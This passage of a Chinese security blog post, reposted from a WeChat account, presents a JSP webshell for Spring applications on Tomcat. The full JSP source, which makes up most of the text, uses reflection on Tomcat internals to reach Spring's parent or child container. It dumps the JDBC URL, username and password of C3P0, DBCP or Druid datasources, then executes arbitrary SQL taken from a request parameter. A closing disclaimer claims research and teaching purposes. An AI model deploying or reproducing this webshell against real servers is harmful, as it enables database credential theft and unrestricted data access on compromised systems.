这里获取 IOC 的核心代码为: ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());, 当然是获取的父容器, 依赖于ContextLoaderListener监听器. 那么当实战中没有配置父容器 || 数据源定义在子容器中, 这种方式会失效.

笔者本地测试结果:

在 JSP 中优雅的注入 Spring 内存马

对脚本进行魔改 [无条件获取]

我们只需要将脚本中的获取IOC的方式修改为我们通过反射获取的方式, 随后将脚本逻辑改为: 从父容器中拿不到数据源结果, 就从子容器拿.

给出代码如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.springframework.web.servlet.DispatcherServlet" %>
<%@ page import="org.springframework.web.context.support.XmlWebApplicationContext" %>
<%@ page import="org.springframework.context.ApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.PreparedStatement" %>
<%@ page import="java.sql.ResultSet" %>
<%@ page import="java.sql.ResultSetMetaData" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<style>
    th, td {
        border: 1px solid #C1DAD7;
        font-size: 12px;
        padding: 6px;
        color: #4f6b72;
    }
</style>
<%!
// C3PO数据源类
privatestaticfinal String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";

// DBCP数据源类
privatestaticfinal String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";

//Druid数据源类
privatestaticfinal String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";

/**
     * 获取所有Spring管理的数据源
     * @param ctx Spring上下文
     * @return 数据源数组
     */

List<DataSource> getDataSources(ApplicationContext ctx){
        List<DataSource> dataSourceList = new ArrayList<DataSource>();
if (ctx == null) {
returnnull;
        }
        String[] beanNames = ctx.getBeanDefinitionNames();

for (String beanName : beanNames) {
            Object object = ctx.getBean(beanName);

if (object instanceof DataSource) {
                dataSourceList.add((DataSource) object);
            }
        }

return dataSourceList;
    }

/**
     * 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类
     * @param ctx Spring上下文对象
     * @return 数据源配置字符串
     * @throws ClassNotFoundException 数据源类未找到异常
     * @throws NoSuchMethodException 反射调用时方法没找到异常
     * @throws InvocationTargetException 反射调用异常
     * @throws IllegalAccessException 反射调用时不正确的访问异常
     */

String printDataSourceConfig(ApplicationContext ctx)throws ClassNotFoundException,
            NoSuchMethodException, InvocationTargetException, IllegalAccessException 
{

        List<DataSource> dataSourceList = getDataSources(ctx);

for (DataSource dataSource : dataSourceList) {
            String className = dataSource.getClass().getName();
            String url = null;
            String UserName = null;
            String PassWord = null;

if (C3P0_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(C3P0_CLASS_NAME);
                url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUser").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            } elseif (DBCP_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(DBCP_CLASS_NAME);
                url = (String) clazz.getMethod("getUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            } elseif (DRUID_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(DRUID_CLASS_NAME);
                url = (String) clazz.getMethod("getUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            }

return"URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";
        }

returnnull;
    }
%>
<%
    String sql = request.getParameter("sql");// 定义需要执行的SQL语句
    ServletContext servletContext = request.getServletContext();
    Field context1 = servletContext.getClass().getDeclaredField("context");
    context1.setAccessible(true);
    org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) context1.get(servletContext);
    Field context2 = applicationContext.getClass().getDeclaredField("context");
    context2.setAccessible(true);
    org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) context2.get(applicationContext);
    Field childrenField = Class.forName("org.apache.catalina.core.ContainerBase").getDeclaredField("children");
    childrenField.setAccessible(true);
    java.util.HashMap<String, org.apache.catalina.Container> children = (java.util.HashMap) childrenField.get(standardContext); // 获得到所有 Servlet 名称
    XmlWebApplicationContext ioc = (XmlWebApplicationContext) WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());
// 获取Spring中所有的数据源对象, 从父容器中获取
    List<DataSource> dataSourceList = getDataSources(ioc);
// 父容器获取不到, 从子容器中获取
if (ioc == null || dataSourceList == null || dataSourceList.size() == 0) {
for (Map.Entry<String, org.apache.catalina.Container> child : children.entrySet()) {
            org.apache.catalina.Container standardWrapper = child.getValue();
            Field instance = standardWrapper.getClass().getDeclaredField("instance");
            instance.setAccessible(true);
            Object o = instance.get(standardWrapper);
if (o instanceof org.springframework.web.servlet.DispatcherServlet) {
                ioc = (XmlWebApplicationContext) ((DispatcherServlet) o).getWebApplicationContext();
            }
        }
        dataSourceList = getDataSources(ioc);
    }

// 检查是否获取到了数据源
if (dataSourceList == null) {
        out.println("未找到任何数据源配置信息!");
return;
    }

    out.println("<hr/>");
    out.println("Spring DataSource配置信息获取测试:");
    out.println("<hr/>");
    out.print(printDataSourceConfig(ioc));
    out.println("<hr/>");

// 定义需要查询的SQL语句
    sql = sql != null ? sql : "select version()";

for (DataSource dataSource : dataSourceList) {
        out.println("<hr/>");
        out.println("SQL语句:<font color='red'>" + sql + "</font>");
        out.println("<hr/>");

//从数据源中获取数据库连接对象
        Connection connection = dataSource.getConnection();

// 创建预编译查询对象
        PreparedStatement pstt = connection.prepareStatement(sql);

// 执行查询并获取查询结果对象
        ResultSet rs = pstt.executeQuery();

        out.println("<table><tr>");

// 获取查询结果的元数据对象
        ResultSetMetaData metaData = rs.getMetaData();

// 从元数据中获取字段信息
for (int i = 1; i <= metaData.getColumnCount(); i++) {
            out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")t" + "</th>");
        }

        out.println("<tr/>");

// 获取JDBC查询结果
while (rs.next()) {
            out.println("<tr>");

for (int i = 1; i <= metaData.getColumnCount(); i++) {
                out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
            }

            out.println("<tr/>");
        }

        rs.close();
        pstt.close();
    }
%>

最终运行结果:

在 JSP 中优雅的注入 Spring 内存马

Ending...

一次有趣的代码分析...

原文始发于微信公众号(Heihu Share):在 JSP 中优雅的注入 Spring 内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月12日13:32:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   在 JSP 中优雅的注入 Spring 内存马https://cn-sec.com/archives/3731658.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息